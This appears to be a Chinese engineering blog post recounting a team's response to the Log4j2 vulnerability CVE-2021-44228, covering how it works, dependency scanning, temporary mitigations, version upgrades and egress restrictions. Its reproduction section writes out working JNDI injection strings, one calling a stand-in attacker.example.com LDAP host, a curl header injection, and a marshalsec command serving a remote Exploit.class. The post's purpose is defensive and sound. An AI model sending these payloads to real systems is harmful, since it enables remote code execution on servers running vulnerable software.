周五晚上十点,安全组在群里丢了三个 CVE 编号
2021 年 12 月 10 号晚上 22:17,公司安全组群里一条消息,只有三行:
CVE-2021-44228 Log4j2 RCE,影响版本 2.0-beta9 至 2.14.1,请各业务线今晚完成自查并反馈。
那时候这个漏洞还没被媒体炒起来,但群里做安全的同事说了一句「这个可以打穿到内网」,我就知道这个周末没了。我们一共 76 个 Java 服务,JDK 主要是 8 和 11,构建用 Maven,部分老服务还在用 Gradle 4。
原理:为什么一条日志能执行代码
先看最简复现。一个用 Log4j2 打日志的接口:
@GetMapping("/search")
public String search(@RequestParam String keyword) {
log.info("search keyword: {}", keyword);
return "ok";
}
请求里带上这个:
GET /search?keyword=${jndi:ldap://attacker.example.com:1389/Exploit
日志里会先打印出这个字符串,Log4j2 在格式化消息时识别到 ${ },交给 Interpolator 处理。Interpolator 按前缀分派,jndi: 前缀对应 JndiLookup,于是执行:
String jndiName = "ldap://attacker.example.com:1389/Exploit";
Context ctx = new InitialContext();
Object obj = ctx.lookup(jndiName); // 去攻击者Ubuntu 服务器下载序列化对象 / 远程 Class
JNDI 的 LDAP 查找会拉取对方返回的 javaFactory 或 javaSerializedData 属性,实例化远程类,触发它的静态代码块或构造方法。整个链条里没有任何白名单,只有一个开关:log4j2.enableJndi。
更麻烦的是,不需要你的接口直接打印用户输入。HTTP 头里的 User-Agent、X-Forwarded-For,登录时的用户名,任何被日志记录的字符串都可以是载体。我们的网关访问日志就记了 User-Agent。
$ curl -H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' http://10.0.3.11:8080/actuator/health
本地用 marshalsec 起的 LDAP 服务,验证结果:
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \
"http://10.0.2.99:8888/#Exploit" 1389
Listening on 0.0.0.0:1389
Send LDAP reference result for Exploit redirecting to http://10.0.2.99:8888/Exploit.class
目标服务的 Tomcat 日志目录里多了一个 /tmp/pwned 文件。RCE 成立。
排查:76 个服务,谁在用 Log4j2
难点在传递依赖。很多服务自己没引 Log4j2,是 Spring Boot 的 spring-boot-starter-log4j2 或者某个 SDK 带进来的。我写了个脚本在所有代码目录跑一遍:
#!/bin/bash
# scan-log4j2.sh
for dir in /data/repo/*/; do
name=$(basename "$dir")
[ -f "$dir/pom.xml" ] || continue
ver=$(cd "$dir" && mvn -q -o dependency:tree -Dincludes=org.apache.logging.log4j 2>/dev/null \
| grep -oE 'log4j-(core|api|to-slf4j):jar:[0-9.]+' | sort -u | tr '\n' ' ')
[ -n "$ver" ] && printf '%-32s %s\n' "$name" "$ver"
done
跑完输出(节选):
order-service log4j-core:jar:2.14.1 log4j-api:jar:2.14.1
payment-gateway log4j-core:jar:2.13.3 log4j-api:jar:2.13.3
merchant-console log4j-core:jar:2.11.2 log4j-api:jar:2.11.2
search-indexer log4j-to-slf4j:jar:2.14.1 log4j-api:jar:2.14.1
...
共 76 个仓库,命中 41 个
这里要区分三种情况,我一开始搞混了,白紧张半天:
log4j-core存在 → 中招,必须处理。- 只有
log4j-api+log4j-to-slf4j→ 不中招。log4j-api只是接口,to-slf4j是桥接器,消息最终走 Logback,不走JndiLookup。但为了保险,我把 api 也一起升了。 - Logback → 完全无关,别跟着凑热闹。
运行时也补了一道扫描,防止有漏网的 fat jar:
for host in $(cat hosts.txt); do
ssh "$host" 'find /data/app /opt -name "log4j-core-*.jar" 2>/dev/null' | sed "s|^|$host |"
done
临时缓解:三个办法,各有适用版本
半夜不可能给 41 个服务全部发版,先上止血方案。我们按 JDK 版本分了三档:
1. JVM 启动参数(2.10 及以上)
-Dlog4j2.formatMsgNoLookups=true
这个开关在 2.10.0 引入,作用是让消息格式化时不做 lookup。2.10 以下不认这个参数。
2. 环境变量(2.10 及以上,容器友好)
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
我们在 K8s 里是给 Deployment 批量打的 patch:
kubectl set env deployment -n prod --all LOG4J_FORMAT_MSG_NO_LOOKUPS=true
kubectl rollout status deployment/order-service -n prod
26 个服务在 40 分钟内滚完。
3. 删掉 JndiLookup 类(所有 2.x 版本通用)
剩下 15 个跑在 2.0-beta9 到 2.9 之间的老服务,上面两个开关无效,只能用这个办法:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
这是在 NIST 官方缓解指南里的方法。注意要在构建产物上操作,或者做基础镜像的时候删。我当时的做法是给 CI 加了一步,打完镜像之后跑:
RUN find /app -name 'log4j-core-*.jar' -exec \
zip -q -d '{}' org/apache/logging/log4j/core/lookup/JndiLookup.class \;
升级:版本号别选错
版本选择上有个坑,因为官方一周内连发了三个版本修三个不同的 CVE:
| CVE | 危害 | 修复版本 | JDK 7 修复版 |
|---|---|---|---|
| CVE-2021-44228 | RCE,JNDI lookup 无限制 | 2.15.0 | 2.12.2 |
| CVE-2021-45046 | RCE,某些非默认配置下 2.15.0 仍可绕过 | 2.16.0 | 2.12.2 |
| CVE-2021-45105 | DoS,递归 lookup 导致栈溢出 | 2.17.0 | 2.12.3 |
结论直接上 2.17.0(JDK 8+)或 2.12.3(JDK 7)。停在 2.15.0 是不够的,我们一开始统一升 2.15.0,12 月 14 号 45046 出来又得重来一遍,白做了一次全量回归。
2.16.0 的默认行为是彻底移除消息 lookup 支持,JndiLookup 也默认禁用,只有显式配置 log4j2.enableJndiLookup=true 才恢复。
Maven 侧,Spring Boot 项目的正确改法是覆盖属性,而不是到处写 <version>:
<properties>
<log4j2.version>2.17.0</log4j2.version>
</properties>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
Spring Boot 2.6.2 和 2.5.8 把 log4j2.version 默认值提到了 2.17.0,我们用的是 2.6.1,所以必须自己覆盖。我还加了一条 dependencyManagement 的全局约束,防止某个 SDK 偷偷带进来旧版本:
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j2.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j2.version}</version>
</dependency>
</dependencies>
</dependencyManagement>
验证结果:
$ mvn dependency:tree -Dincludes=org.apache.logging.log4j | grep -E 'log4j-(core|api)'
[INFO] +- org.apache.logging.log4j:log4j-core:jar:2.17.0:compile
[INFO] +- org.apache.logging.log4j:log4j-api:jar:2.17.0:compile
顺手做的两件事
一是给所有出网加了限制。即便将来再出类似的反序列化漏洞,服务也连不上外部 LDAP。K8s 里用 NetworkPolicy:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-egress-except-internal
spec:
podSelector: {}
policyTypes: [Egress]
egress:
- to:
- ipBlock: { cidr: 10.0.0.0/8 }
- ipBlock: { cidr: 172.16.0.0/12 }
二是把 JDK 的两个属性在基础镜像里写死,虽然它们只挡 LDAP 之外的场景,但成本为零:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
就写到这。如果哪天你也被《Log4j2 漏洞应急:一夜之间的全量升级》里同一个坑绊住,回来翻这篇,能省半小时。